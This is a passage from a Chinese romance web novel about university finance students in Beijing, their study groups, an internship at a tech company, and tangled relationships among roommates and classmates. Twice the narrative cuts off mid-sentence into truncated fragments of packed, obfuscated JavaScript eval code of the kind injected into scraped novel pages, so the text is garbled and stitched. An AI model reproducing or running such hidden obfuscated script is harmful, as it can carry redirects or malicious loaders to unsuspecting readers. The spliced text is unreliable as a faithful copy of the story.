现在呢,因为男生肩比较宽,就导致她跟俞惟叙挨得很近,偶尔胳膊肘或者肩膀尖尖的地方会蹭到他的胳膊。 每当这时候,她身体都会僵硬一下,无法不在意。 唉,这课还能上吗。 同学们陆续进来,路过时都驻足跟他俩聊上几句。 “我去,这是啥情况?周梦津官宣了,你俩也?” “我还没在上课时见过俞惟叙的后脑勺呢哈哈哈……” 俞惟叙笑笑,淡定地说因为这是最后一节了,任课老师又是他俩的导师,所以坐过来表现一下。 同学们听完后,仍然眼神暧昧地看着他俩,笑而不语地走了。 祝岁祯已经无法抬起头去面对同学们了,只好装作很忙的样子翻课本,在一些根本没什么用的句子下,划划线…… 快上课前,教室里同学们都坐定了,祝岁祯小声跟俞惟叙说:“你以后上课不要坐我旁边啦,你看看他们一个个的,唉……” 俞惟叙凑过来听她说完,笑着坐直,手里的笔转得花里胡哨:“好吧,我也没想到他们这么关注我,哥还是太有魅力了。” 祝岁祯决定这两节课都不要理他。 -.- 下午,金工班还有课,金融专业有两个班下午那门课上周已经结课了,就等考试。梦梦和鸡哥同班,还在上最后一节。 所以祝岁祯和俞惟叙赶过去时,两个宿舍剩下的四个人,已经在研讨室坐了两节课了,但什么也没干,不是玩手机就是看电影…… 他俩坐下,掏出电脑,打开文档,但也可耻地加入了聊天的队伍…… 然后,鸡哥进来了。 大家都问他梦梦怎么还没来,鸡哥说她找小男友去了,要等一会儿。 然后女生们聊起何希簏,觉得这小学弟还挺会做人的,中午托梦梦带话,说晚上他要请学姐们吃饭,感谢学姐们一直以来对梦梦的照顾。 啧,这话说得,好像舍友们把梦梦嫁出去了似的…… 没过一会儿,新晋小情侣闪亮登场,何希簏手里还提着俩大塑料袋。 “学姐学长们好,我去超市买了点零食饮料,大家随便拿。” 众人脸上绽开笑容,连忙道谢,热热闹闹地分零食吃。 这研讨室里是个大圆桌,男生坐一边女生坐一边,围成一圈。男女生交界处,一对是祝岁祯和俞惟叙,另一对是何希簏和梦梦。 所以何希簏和祝岁祯差不多刚好是对面。 大家边吃,边开始讨论。 俞惟叙被拉去帮忙看他们创业的项目,祝岁祯就先根据这个选题相关的论文,整理了一些框架,等俞惟叙一会儿来看看有什么要修改的。 何希簏从进来开始,他那张嘴真是没闲过,一会儿跟女生宿舍聊天,一会儿又跟男生宿舍聊,金院的人和事就没他不知道的。 但屋子里的人都没注意到,何希簏的余光一直留意着桌子对面那俩人,凑在一起商量论文可真是亲密无间。 祝岁祯指着俞惟叙的屏幕:“这个数据是不是得去金融实验室的机房导啊?用学校的wind账号。感觉别的地方也没有。” 俞惟叙头快跟她挨着了:“wind不一定有,我觉得。这个交易所是国外的,他家可能拿不到数据。” 祝岁祯有些头疼:“啊?那……要是wind没有,咱就不分析这个指标了吧?” “没事,我回头让朋友用Bloomberg查查,应该能找到,我之前实习时好像看到过。” 俞惟叙另开了个文档记下:“你还有什么想要的数据,可以都告诉我,回头我攒一波了让朋友导出来,很快的……” 何希簏没法儿偷听了,鸡哥找他打听动漫协会里的一个大二的萌妹。 跟鸡哥聊完,屋子里的讨论声音变大,让何希簏偷听变得困难。 “CDO……SPV……” “浮动利率……信用风险……” “利率双限……” 何希簏只能看到俩人越凑越近,说的话到他耳朵里就只剩些专业名词了。 同时他又得眼观六路地应付其他人,尤其是女朋友,不能让她看出来什么。明明啥活也不用干,但这一屋子的人就属他最累。 研讨室预约的时间到了,大家一起收拾垃圾、整理资料和书包。 俞惟叙本来还想再跟祝岁祯多待会儿,但一听她们要去外面吃饭,只好早些撤退,让人家姑娘们聚餐。 男生们拎了垃圾先走,梦梦挽着何希簏的胳膊,问她们想吃什么。 舍友们不挑,找个不排队的就行。 何希簏大胆提出了建议:他最爱的那家鱼。 祝岁祯一听,就忍不住想笑,这不就是被俞惟叙吐槽不新鲜的那家么。 她刚张嘴想说要不要再看看别的,梦梦就提出了第二个方案,但小羊和远文都觉得那家鱼确实还可以。 祝岁祯只好闭上嘴。 没事,现在的餐馆好多预制菜,贫穷大学生就别奢望什么新不新鲜了,吃不死就行……她有点悲哀地想。 谁知何希簏很敏锐地捕捉到祝岁祯那一丝迟疑,迅速改口,说去梦梦提的那家也不错。 小羊和远文立刻起哄,说他表现很好,继续保持。 梦梦害羞地笑,祝岁祯也跟着哈哈哈哈,几个人就欢声笑语地聊着,直接背着包往六道口的方向去了。 -.- 两个宿舍第二次约研讨会的时候,何希簏因为有课就没跟来了。 不过祝岁祯也不是很想看到他。 上次他请宿舍吃饭,祝岁祯中途去卫生间,刚从女卫出来就碰上何希簏。 她洗完用卫生间的卷纸擦手,那纸的质量挺差,沾了水之后很容易碎。正准备回去,何希簏突然拉住她右手,帮她把手背上粘着的纸屑捏下来。 祝岁祯赶快抽回手,有点生气但又不能说得太重,告诉他下次碰到这种事,跟人说一下就行了,别直接上手,记得自己是有女朋友的人。 何希簏只是单纯地笑着,说就顺手的事而已,让她别这么敏感。 祝岁祯脸色顿时不好了,问他是不是对女生都这样?梦梦要是看见了该多委屈? 他却说他只跟祯祯姐关系好,别的女生他不会主动帮忙的。 祝岁祯也是服了,不知道他这话是真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不用不用,我看两眼就走。话说你家猫咪喜欢什么玩具或者零食吗?我得给它买点小礼物什么的,不能总是白嫖。” 俞惟叙想了想:“你以后的快递盒子可以留着。” 见祝岁祯疑惑,他说: “欠儿姐很诡异,几千几万的猫窝不爱住,破快递箱子当个宝似的,进去躺半天才出来,身上一股纸壳子味儿。” 啊哈哈哈哈哈……祝岁祯笑得不行,“那能怎么办呢?还不是得宠着。” 俩人一路走,俞惟叙一路跟她说欠儿姐曾经的抽象事迹,把祝岁祯乐得,一刻也等不了了就想见到猫咪。 但是当他俩欢声笑语地快要走到单元楼下,俞惟叙突然停住了脚步。 绿化带旁的长椅上坐着的那人,正是上午找他聊天、但被他无视了的林期尔。 林期尔静静地看着他们两个,随后拿着包包站起身,不疾不徐地走了过来。 祝岁祯虽然没什么见识,但能看得出来这女生非常有钱,那个包大概就是传说中的爱马仕铂金包。 衣服上没有logo看不出品牌,但从耳朵、脖子到手腕手指上全是满钻的饰品手表,让她立刻想起曾经那位帕加尼富姐。 “抱歉,实在太无聊了,朋友白天比较忙,我就跟你妈妈要了地址。毕竟……你一直都没理我。” 俞惟叙没想到她用中文说话,拿出手机:“我看到消息了,正准备给你回,但当时有个电话打进来,不小心给忘了。” 林期尔扯了扯嘴角:“没事。我刚才逛了逛你们学校,还挺不错的,地方虽然不大,该有的都有。” “北京的学校很多都不大,好处是不用走很久。既然来了,上去坐坐?” “好啊。” 祝岁祯见状,赶紧说:“你招待朋友吧,我就不去了,下次再。” 俞惟叙看着她,最终还是点点头:“拜拜,回见。” 祝岁祯也跟林期尔招招手说再见,那女生只是点头示意。 等祝岁祯走后,林期尔跟俞惟叙一起上楼。 “我对她有印象,去年来找你的时候好像见过,站在你同学们中间。” 俞惟叙“嗯”了一声,并不想跟林期尔说祝岁祯的事。 祝岁祯那样的好相貌,很难不被注意到,在人群中非常显眼。 “她是要去你宿舍玩吗?我来的不是时候啊。” 俞惟叙回她:“没关系,就是来看看猫,我们宿舍离得近,她什么时候来都行。” 林期尔大概咂摸出他话里的味道了,他跟这个女孩关系很好。 她停下脚步,到三楼了。 俞惟叙注意到她的动作,看来他家关总连门牌号都告诉她了。 果然,她说:“你妈妈还准备找你要密码发给我,我说不用,可能随便逛逛就出去找个地方吃饭了。” 俞惟叙对老妈有些生气,但没让林期尔看出来。握住门把手,指纹解锁之后请她进去。 欠儿姐“喵呜”一声,翘着松鼠一样毛茸茸的大尾巴跑过来。 “啊,这是之之吗?听阿姨说过,她可喜欢之之了。” 她弯下腰想摸摸猫,但猫只是凑近闻了闻她的手指,绕着她转了半圈,狂打了几个喷嚏之后跑得远远的。 俞惟叙说:“可能是你喷的香水它不喜欢,我妈只爱用木质香。” 林期尔耸了耸肩,去沙发坐着。 她不太喜欢傲娇的猫。在美国养了三只从韩国买的纯种棉花面纱犬,各种杂七杂八的费用加一起花了小六十万,才送到她的豪宅里。就算她喷了香水,狗狗也照样欢快地奔向她。 俞惟叙从冰箱里给她拿了瓶依云,走过去递给她的时候,玻璃瓶子上起了一层水雾。 他又把抽纸盒放她面前。 林期尔显然是注意到了他细心的举动,好感度又提升许多,笑着道了谢。 俩人坐着,聊了些有的没的。 林期尔刚毕业,俞惟叙前几天在朋友圈看到她发的毕业照和典礼图。每年这时候他都能在朋友圈里看到类似的美式风格,什么学校的都有。 但她不想回家,毕竟之前出了事被爸妈好一顿批,她在国外时还能不予理会,回家就得被当面骂了。 所以她飞来北京,故意避开家里的酒店,在前门文华东方包了十天,跟朋友们聚一聚,等老爸出差去华南和西南大区检查业务的时候再回家。 人都来家门口了,俞惟叙还能怎么办?只好说会尽地主之谊。 毕竟他家关总连他宿舍密码都要告诉林期尔了,看来还是没放弃。 主要是林期尔太能装乖了,跟国外朋友一个样,回来跟国内打交道又是另一个样,关理之总觉得俞惟叙说小林说得太夸张。 俞惟叙说要请林期尔吃晚饭,她拒绝了,说她晚上不吃饭,而且和别的朋友约了去喝酒。 他记得文华虽然在胡同里,但路挺宽的车子随便停。于是趁着这会儿还不太堵,开车去草厂十条把她送去休息换衣服之后,在路上堵了半天才回来宿舍,关理之知道后还算满意。 第二天俞惟叙再约祝岁祯去看猫,祝岁祯找借口说要看书,不去了。 俞惟叙知道她大概是瞎编的,毕竟她那么期待见猫咪。但因为关理之那边对林期尔的态度仍然很好,他犹豫了下,就没再继续邀请祝岁祯来玩。 祝岁祯昨天回去后,觉得那个女生肯定是俞惟叙妈妈给他介绍的对象,自己还是别去打扰了。 人俞惟叙请她撸猫应该只是跟她客气客气,她不能这么没眼力见儿。 -.- 六月初,大创的初步工作告一段落,下次就是年底的中期检查了,时间还早。再加上这学期的十来门课程也在上半个月里陆续结课,祝岁祯能腾出些功夫了。 于是,卷王基因又促使她报考了证券从业,金融从业F4里的最后一门,月底考试。 因为课程在慢慢结束,而且还隔三差五地有期末考,所以她很少见到俞惟叙了,俩人自从上次撸猫未果之后就没什么交流。 俞惟叙也克制着自己想跟祝岁祯说话的冲动。他最近心情极差,觉得自己就像个工具人。 他好像只是一块砖,随关理之的心情,被随便修理随便搬。 小学时不许他跟小朋友玩,必须学英语、兴趣班;初中嫌弃北京的学校不够国际化,罔顾他的意愿把他扔到英国,就为了比朋友家的孩子“洋气”;他在国外待了几年终于适应之后,又命令他回国重新上高中。 当时他的生活已经完全英化了,中文越来越差,可不得不回来重新学习一切,去接受国内的教育方式。 高中三年她从不管他的学习,等成绩出来才觉得他给她丢人了,数落他去了M大这种档次的学校。 现在呢?明知道他不喜欢林期尔,还把林期尔当亲闺女似的。 关理之本来要从意大利飞去匈牙利,但临时改了航班,提前回来趁着林期尔还没走,想见一见。 关理之在饭桌上跟林期尔嘘寒问暖,对他这个儿子都没这么关心过。俞惟叙都怀疑观鱼的最大股东是不是换成林家了,才能让关理之有这个态度。 俞惟叙被命令送林期尔去公务机航站楼,林期尔终于要飞回上海了。两人告别后,她转身走了几步,复又折返回来。 “我能感觉到,你对我没有那么的……你如果有喜欢的女生就相处着吧,别担心,我不会说的,毕竟我也有很多男朋友。或许等几年后我们两家定了亲,你身边已经换好几个人了。” 她看起来洒脱又无所谓地笑了笑:“我们的朋友不都这样么?” 俞惟叙瞬间想到祝岁祯。她曾经不是也说过类似的话吗,什么商业联姻各玩各的……还真让她给说中了。 但他不是这样的人。 如果家里无论如何都要他跟林期尔结婚,那么他会把对祝岁祯的感情埋在心底,再也不提。 如果他下定决心要追祝岁祯、和她在一起,那林期尔这边他绝对要撇干净,最多就是商业往来,再无其他。 可祝岁祯确实像学校里男生们流传的那样——极其难追。就连他也碰了一鼻子灰。这个女生表面上看,似乎乖乖的、很好骗,实际上过于清醒和务实,心里一直噼里啪啦地打着算盘。 俞惟叙觉得自己的感情之路好像有些坎坷了,前方迷雾重重,看不到未来。 45.第四十五章 学校的教学日历定在29号放假,但24号下午3点,金工专业的最后两门考试就考完了。 和祝岁祯名次差不多的同学都在暗搓搓地打听别人的去向,比如要去哪里留学、准备参加哪所学校的保研夏令营。同学们因为有竞争关系,都不爱告诉别人。 但祝岁祯绝对是那个让大家最不能理解的人。 以她的成绩,可以保研到其他更好的985,所以按理说她应该抓住夏令营这个宝贵的机会,提前拿到名额。 但不管怎么打听,得到的消息都只有她要去F公司实习。 能去F公司这种一线大厂当然很厉害,但这只是个实习,不一定能留用啊,正常人都会先考虑夏令营吧? 所以大家都觉得祝岁祯应该是已经拿到了什么名额,不管是保研、还是工作,已经有了毕业后的去向。 对此祝岁祯毫不知情,她考完期末考证券从业,天天沉浸在刷题中,自己卷自己。 她倒是想去夏令营来着,但意向的学校都让上届的学长学姐给鸽完了,大概率不会录M大金院的了,而且其中一个学校今年不开夏令营。 她又不想保研去其他省市的高校,所以准备8、9月份佛系地看看预推免,不行就算了。 周六,她千里迢迢跑去亦庄考完证券,顶着烈日高温回校。 之前音乐会加了祝岁祯好友的学弟找她,说他妈妈是观鱼的出纳,所以今年的暑期实践也想去观鱼,让祝岁祯发他大一的实践报告抄一抄。 祝岁祯还奇怪呢,他怎么知道祝岁祯大一去过观鱼做实践? 这学弟说是俞惟叙告诉他的……而且俞惟叙也加入了他们的队伍,只是挂个名,啥也不干,纯划水补作业。 祝岁祯无语,少爷去自己家的公司做暑期社会实践啊……真行。 -.- 周一,祝岁祯去办入职,互联网大厂的氛围和之前她实习过的地方不太一样,同事们都蛮有个性的,工位上也打扮得花里胡哨。 她这次仍然有个带教的mentor,是个刚结婚的姐姐叫全培,祝岁祯叫她培姐,毕业于A大,路齐江的学校。 祝岁祯发现自己想起路齐江的次数明显变少了,悲伤也慢慢变成了遗憾。 但每当她意识到这点,另一种痛苦就悄然滋生出来,她觉得自己好像有点背叛了这段感情,背叛了那么爱她的男生…… 她努力把这些乱七八糟的思绪甩开,第一天上班就问培姐怎么样才能实习留用。 培姐说想实习留用也可以,每年有不少人是走这条路进来的。但日常的工作量和工作要求肯定就不是普通实习生的水平了,祝岁祯要表现出她的价值,才能让领导们决定给不给她offer。 祝岁祯觉得完全可以啊,试一试总没有坏处,反正她这两个月就是要耗在这里的,累一点就累一点吧。 如果能拿到F公司的正式岗位,那也挺值的。 所以她第一天实习,就加班到九点多才走。主要是再不走,公司班车就停运了,而且宿舍晚上11点也会关门,M大女生寝室假期留宿是有门禁的。 就这么高强度连轴转了五天,双休日终于能好好休息一下了。然后下周一继续去卖命,就这么循环着。 她近期工作之余的乐趣,是看梦梦在群里分享的行程。 何希簏做完暑期实践之后,小两口就收拾行李出去旅行了,香港玩三天之后飞马尔代夫。 接下来的日子里,梦梦在群里分享各种美照。 香港维多利亚港的夜景、太平山顶的风光、马尔代夫的水上飞机、窗外水晶一样无边海景的豪华水上私人别墅、小情侣骑着自行车在海上栈道开心玩耍…… 透明蓝绿色的海、白沙滩、格调酒吧、海鲜自助、舒适spa……一切的一切都在告诉宿舍其他三人,这小十万块花得有多值。 在北京当牛马的祝岁祯都快羡慕哭了,不过好处是她可以借梦梦的经历和同事们聊天,否则她的生活实在太贫乏,跟人相处时什么也聊不出来。 同事们的经历也让她大开眼界。有的去过西班牙,品尝世界排名第一酒吧调出来的酒;有的去过意大利吃正宗的gelato;有的攒了钱准备11月调休请年假去南极看企鹅;还有的去过非洲看动物大迁移…… 相比之下,日韩港澳这种近得拎包就能走的地方都没人提。 同事们听说她居然还没出过境,纷纷表示以后要是有旅游的行程了带她一起,不需要她操心行程规划,人到了就行。 还有的同事借机打听她男朋友,觉得她这么漂亮肯定好多人追。祝岁祯为了避免麻烦,谎称自己有男友,正在上海某高校搞科研,比较忙,就这么给糊弄过去了。 同时她在聊天中打听到F公司工资福利各方面都不错,很多同事都比她的学历、学校好,她就算读研出来找工作,能找到F公司的也算可以了。 八月到了,祝岁祯告诉自己再坚持一个月,不管有没有offer,反正解脱了。 周一上午开完会,她去接了杯水回来准备继续整理数据,但刚到工位上,她就跟见了鬼似的。 何希簏竟然坐在她椅子上。 这对吗?我请问呢? 震惊地跟他聊了会儿,才知道何希簏也来这里实习了。 他人脉广,打听到审计部有实习生离职,在回国的飞机上紧急写了简历,经过面试笔试以及金院一位老师的人脉,不到半个月搞定名额,进了这家公司。 祝岁祯实在太忙,跟他随便寒暄几句就把他打发走了,坐下后找梦梦聊天: 【Lucy也来F厂实习了?你知道怎么不告诉我哈哈哈,吓我一跳】 但梦梦不知道在干什么,没回复。祝岁祯太忙了也就没管,埋头干自己的活儿。 下午下班的时候,何希簏要跟她一起坐班车回学校。祝岁祯翻到和梦梦的聊天记录,发现这么久了都没回音,心里觉得不大对劲,于是告诉何希簏自己部门很忙,要加班到很晚,让他先走。 何希簏想着反正都在一个公司实习,不急于一时,就下班了。 祝岁祯又去翻梦梦的朋友圈,发现从马代回来之后,她就没再发过动态了。 紧赶慢赶把手头的工作处理完,八点多下班。祝岁祯等班车的时候又给梦梦发了消息,仍然未回。 别是出什么事儿了吧?她有些着急,直接给梦梦打语音电话。响了好久,终于接通。 梦梦:“喂。” 祝岁祯:“哎呀,你吓我一跳,再不回复我就要报警了真是的。” 梦梦:“何希簏又找你了吗?” 祝岁祯:“呃,他下班的时候发信息打了个招呼,就先走了,别的没说什么。” 梦梦:“他找你的时候,是不是看着挺开心的。” 祝岁祯:“……” 祝岁祯:“没有吧……就跟我说他来实习了。” 梦梦:“我本来以为他回家了,过了几天,才知道他投了实习,一直瞒着我没说。” 祝岁祯:“啊?” 梦梦:“你下班了吗?” 祝岁祯:“嗯,正在等车。” 梦梦:“快回去休息吧,不聊了。” 祝岁祯看着通话被她挂掉,心里跟堵了块大石头一样。 梦梦果然不高兴了。 第二天早上,祝岁祯在公司班车接送点碰见了何希麓。他笑着说他特意早起来赶这趟车,就是为了跟祯祯姐一起。 祝岁祯因为梦梦,就对他不咸不淡地应付着,等班车来了,她一反常态地坐在了靠近前门口的位置,因为那里有个单人座。 何希麓只好坐在她后面。 两人的颜值让陆续上车的同事们眼前一亮又一亮,多看了好几眼才往后走。有个和祝岁祯同部门的小姐姐是北京人,性格开朗外向,家住五道口嘉园,最近因为车送去维修了,常和祝岁祯赶同一班次的班车。 然后,这个叫妙妙的同事,一见祝岁祯身后有个这么帅的弟弟,立刻就挨着他坐下了。 这俩人越聊越嗨,甚至还加了好友准备晚上熬夜一起打游戏。祝岁祯见缝插针,扭头加入聊天,不经意地跟妙妙透露出何希簏有女朋友,正是她舍友。 妙妙听到后,表情果然凝滞了一下。 随后几天,何希簏总来找祝岁祯去食堂吃饭,祝岁祯也总是推辞。他知道她是因为舍友才不想跟他单独待着,就拉上妙妙一起吃饭。 祝岁祯每次看到他俩聊得风生水起,就不免担心梦梦,怕她被挖墙脚……梦梦甚至为了他,连去韩国留学的准备都暂停了,就因为他没有出国的计划。 祝岁祯下午工作的间隙里,一直在想要不要跟梦梦打个小报告,让她远程提醒何希簏跟其他女生保持距离。但又怕自己把事搞砸,就一直耽误到了晚饭时候。 何希簏又来了,要跟她吃晚饭,今天妙妙下班早。祝岁祯想等培姐开完会回来一起,免得她单独面对他。 趁她在工作,何希簏就跟个好奇宝宝似的,一会儿拿她这个东西看看,一会儿摸摸那个。 “这花是谁送你的吗?”何希簏摸了摸桌边玻璃花瓶里的康乃馨,白色花带着紫色的花边,优雅贵气。 “不是,培姐的,她工位没地方放了。” 两人又聊了会儿,何希簏提到他晚上要和妙妙打游戏,祝岁祯想了想,决定还是说吧。 “打游戏和女生玩也行,但日常就不要走得太近吧。” 何希簏笑着看她:“不乐意我跟别人玩?祯祯姐你吃醋了。” 祝岁祯无语地闭了闭眼睛:“我说的是梦梦,你别因为她不在身边,就太随心所欲了。” 何希麓的笑容敛了一点,转头看着那束花,手指戳来戳去:“你的好姐妹让你来提醒我了?” 她放下工作,专心聊这件事:“梦梦没跟我联系,只是我觉得你多少考虑下她。妙妙姐人确实不错,但是也别太亲近了吧,不然如果梦梦知道了,在家里该多担心。” 他沉默了许久,祝岁祯也盯了他许久,久到她要放弃了,他突然低声道:“姐,我对周梦津够可以了,你能不能别管。” 她心里凉了半截。 何希麓看着她:“你对不喜欢的人,连句话都懒得多说。我呢?我为了让你高兴,已经对她很不错了。到现在从来没对她说过重话,要我放下游戏陪她出去玩也没拒绝过,还要我怎么样呢?” 祝岁祯有点生气:“梦梦人很好的,她不会逼着你做什么,你要不想去就跟她讲啊,干嘛搞得好像执行任务一样。” 何希簏面无表情地说:“她确实比韩芷玥强些,但她这样的我朋友圈里一抓一把。我跟她谈恋爱完全是看在你的份上,省得你又给我脸色看、不理我。” 祝岁祯被气笑:“我没记错吧?当初是你说要她当女朋友的,我拿刀架你脖子上了?你这恋爱是给我谈的?” 何希麓满不在乎地点了点头:“对,那我不想谈了,我现在就跟她提分手。” 他说完,立刻站起来要走。 祝岁祯慌了,一把抓住他衣角。 “你等下!”她压低声音。 何希麓站着没动,垂眼看着她的手。 祝岁祯拽了拽他衣服,何希麓顺势坐下。 她收了手,琢磨着要怎么说才好。 梦梦现在谈得挺高兴,要是能让他再多待一段时间,等梦梦对他的喜欢淡了些,到时候他俩随便分,谁也不伤心。 可她又犹豫地想,这样对吗? 何希麓已经明确表示不想谈了,就算把他留在梦梦身边,他真能对梦梦好吗?会不会伤梦梦更深? 祝岁祯觉得自己就跟个操心的爹妈一样,看不上闺女喜欢的黄毛、但又怕闺女哭。 她纠结了几秒钟,何希麓却先开口:“你以后对我好点儿。” 祝岁祯惊讶地抬头,看到他眼神幽怨,仿佛受了天大的委屈。 这算什么?条件? 祝岁祯试着“嗯”了一声。 成交。 晚上何希簏要和她一起回学校,祝岁祯为了缩短两人相处的时间,在班车上迅速买了个共享单车的月卡,下了班车后骑行回宿舍。 车子一骑,祝岁祯觉得自己实在是太明智了,因为何希簏骑车水平属实垃圾,他只顾着驯服野生自行车,没工夫和她聊天。 第二天早上,祝岁祯起了个大早,坐上第一趟班车到公司,大楼里凄凄惨惨没个人影。何希簏抱怨她不跟他一起走,祝岁祯借口说早起能凉快点。 她就知道何希簏晚上打游戏到半夜,早上必定起不来。 下午,祝岁祯刷到梦梦发的朋友圈,图片是一大捧康乃馨,和祝岁祯桌子上的花一样,紫精灵和蝴蝶两个品种混合,白色花瓣边缘镶了一圈紫边、粉边,十分梦幻的配色。 文案:【在北京实习的何某人看到同事桌子上的花很漂亮,说他的女朋友也必须拥有~】 祝岁祯赶紧欣慰地点赞。 罢了,何希簏肯为梦梦花心思就好。 接下来两天,祝岁祯觉得自己好像又回到了爸妈让她跟何希簏搞好关系的那段时间,又得顾及着梦梦,又不能太冷落他,真是艰难。 好在培姐不太喜欢何希簏,觉得他上班时间来别的部门聊闲话、串门很不好,是审计部的工作不饱和吗?没看见我们部门这么多活儿呢? 于是培姐专门在何希簏来的时候给祝岁祯派任务,祝岁祯就只能“遗憾”地让何希簏去别处玩,然后他就会被妙妙拉走聊天。 双休日的时候她会说自己加班太累,要在宿舍休息,婉拒何希簏的各种邀约。 于是何希簏变本加厉地在上下班和吃饭的时候黏着她,搞得她真是头疼。 一天早晨,班车上,何希簏笑嘻嘻地想靠在她肩膀补觉,被她严肃地推开后,祝岁祯收到一条消息。 俞惟叙:【在上班?马连洼?】 嚯,这位爷可是许久没消息了。 祝岁祯:【对】 俞惟叙:【你们10点才上班?果然互联网的氛围不一样。】 祝岁祯:【俞总也给牛马们开开恩吧,让大家晚点儿去】 俞惟叙:【我可没这权力。你知道观鱼最开始是8:30上班不?我高中的时候才改成9点】 祝岁祯:【我错了,我闭麦】 俞惟叙:【别介啊,中午有约吗?没有的话吃个饭呗?我正好要去朋友家,就在你们公司附近】 祝岁祯可太高兴了,不是因为俞惟叙约她,而是她有借口可以不用跟何希麓单独吃饭。今天培姐不在,妙妙也休假了。 祝岁祯:【好!你要干啥都行!求求了早点来,11点半!】 俞惟叙:【工作出什么问题了吗?】 祝岁祯:【不是,说来话长,到时候再聊吧】 俞惟叙:【OK】 到了公司,今天上午有个业务培训,好多部门都没什么人。何希麓又跑来串门,带着电脑,说要和她一起工作。 唉,随便吧。 十点多的时候,何希簏收到梦梦发来的图片。他前些天趁着8.8大促,给她买了瓶某大牌刚上市的限定玫瑰香水,是梦梦喜欢的那种,两千多。 梦梦表示很开心,很喜欢他的礼物。 何希麓跟邀功请赏似的让祝岁祯看两人的消息,祝岁祯只好夸夸他,让他接着哄梦梦高兴。 然后她转头一看自己的电脑,娘嘞!梦梦在群里说她要回学校,想给何希麓一个惊喜!高铁票已经买好了,拎包就走,下午就到…… 祝岁祯觉得自己要解脱了。 培训结束,何希簏回审计部。11:20,俞惟叙发来消息,说开车快到了,带她去朋友家吃饭,让她可以准备下楼。 祝岁祯看见他要带她去朋友家,迟疑了一下,但顾不得许多了,先走再说。 可她刚等到电梯,就碰上来找她吃饭的何希簏。 他问她去哪儿,祝岁祯说要出去吃,何希簏立刻跟着她一起进了电梯。 祝岁祯尴尬地跟他讲,自己是要去和同学吃饭,他不信,说大暑假的哪儿还有同学?肯定是祝岁祯骗他的,非要跟她一起走。 她真是服了。 到了一楼大厅,祝岁祯刷了门禁出来,看到俞惟叙的车子在外面停着,就让何希簏回去,她要坐同学的车子走。 公司大楼门口就那一辆车,何希麓不可置信地指了一下:“那个法拉利?是来接你的?” 祝岁祯点点头。 何希麓的脑子里全是有钱老登包养漂亮女大学生的八卦,看祝岁祯的眼神也变冷了。 他立刻抓住她的胳膊,拉着她朝法拉利走去:“祝岁祯你最近骗了我多少次?我都没跟你计较。你敢说这是你同学?走!我倒要看看!” 祝岁祯完全没料到他竟然是这个反应,呆呆地被他扯出大门,外面日头毒辣辣地晒在皮肤上。 “你……干嘛……松手……” “我答应了叔叔阿姨,在北京要照顾你。你要是敢跟什么……” 他突然停下了。 前面法拉利降下车窗,一个戴着墨镜的脸出现在两人面前。紧皱的眉、微微下垂的嘴角表明车里的人很不高兴。 何希簏这一愣,祝岁祯瞅准机会赶紧挣开,离他远了一点。 “呃,学长好……”何希麓打了个招呼。 祝岁祯指了指俞惟叙,对何希簏说:“看到了?就是同学啊,别想些乱七八糟的。快回去吧,外面怪热的。” 说完,她绕到副驾驶打开车门,快速钻了进去。 俞惟叙等她坐好关上车门,才又转头看何希簏,瞄了眼他脖子上挂的工牌:“你也在这儿实习?” “对,刚来。” “我带你学姐去吃饭,车子坐不下,就不请你了。” “哦哦,好,学长慢走。” “嗯。” 窗户升起,隔绝内外,车子发出低沉劲爆的轰鸣,扬长而去。 俞惟叙打方向盘看路:“感觉有故事,说说吧。” 祝岁祯张口就是抱怨:“烦死了这个人,啊……我还要熬一个月!” 俞惟叙瞥了她一眼:“你俩怎么回事?” 祝岁祯揉了揉眉心:“他总想跟我一起吃食堂,但是吧,我觉得不太好,这不有梦梦嘛。” 其实远不止吃饭这么简单,可祝岁祯不想再多说了,怕万一传到舍友那里。 “你别和你舍友说这事啊,”她补充道,“梦梦今天要回来学校找他,所以问题也不大。” “嗯。” 他虽然答应了,但祝岁祯看他侧脸,似乎不太高兴的样子。 车子还没开几分钟,就缓缓减速,停在一个大门前,俞惟叙和门卫说了一声,道闸杆抬起,车子被放行。 “哎等下?真的要去你朋友家?” 俞惟叙单手握方向盘,摘下墨镜:“是啊,你不是说我要干啥都行吗?我要来找朋友,直接在他家吃得了。” 她迟疑道:“……你朋友,我来蹭饭不合适吧?” 他笑了笑:“不会,我告诉他我要带个美女同学来,他可高兴了。” “什么鬼……” 祝岁祯打量了下这个小区,看着相当不一般,绿化面积占比很高,和学校周围的小区比起来简直可以称得上园林了。 楼都是五六层的样子,但似乎是大面积户型,每家的窗户都很宽阔,楼体规整干净。神奇的是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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因为东西很少,更显得空间大。 “坐,随便坐,妹妹你是不是挺内向的?哎呀甭客气啊,在哥哥这儿那就是回家了啊。” 俞惟叙正走着转过身来:“别乱喊,人比你大一岁,叫姐。” 男生白他一眼:“老子乐意。”随后瞬间换上和善的面孔问祝岁祯,“妹妹怎么称呼?” “叫我祝岁祯就行。” “那我叫你祯祯……” 俞惟叙又发话了:“不行,那是人爸妈叫的,你就叫祯姐。” 看得出来这男生很想跟俞惟叙打一架,但他放弃了,对她说:“叫岁祯怎么样?” 祝岁祯点头:“好的好的,没问题。” 她现在不想纠结什么名字,只觉得自己头一次从一户人家的门口到客厅沙发,竟然走了这么久。 坐在俞惟叙边上,那男生却拉过来桌子旁边的一个小马扎坐下了,把手里的礼物放下:“你给我带的什么玩意儿……” 他看了眼包装精美盒子上印的品牌名:“巴卡拉?杯子啊?” 俞惟叙“嗯”了一声,“昨晚在我家旁边连卡佛拿的,本来想给你带那套六个的香槟杯,但你也没个情调,算了,换成一套平底杯吧,还能省四千块钱。” 男生正开包装盒呢,一听这话,无语地看他一眼:“你也太小气了,没准儿哪天我家里来了漂亮妹子,就得高雅一回呢?” 礼盒被打开,里面六个水晶杯造型各异,花纹切割得像钻石一样熠熠生辉。 “哦,你提醒我了,我要专门开一块地儿放酒。” 他把杯子拿走去了一个什么房间。 祝岁祯趁机小声问俞惟叙:“他叫什么名字啊?我怎么称呼他?” “窦斐华,我们都叫他‘豆花儿’,你叫他小豆、华子也行。我高中同学,关系挺好的。” 俞惟叙给的选项没一个能用的。 “他家东西怎么这么少?” “刚搬来。” “哦哦。” 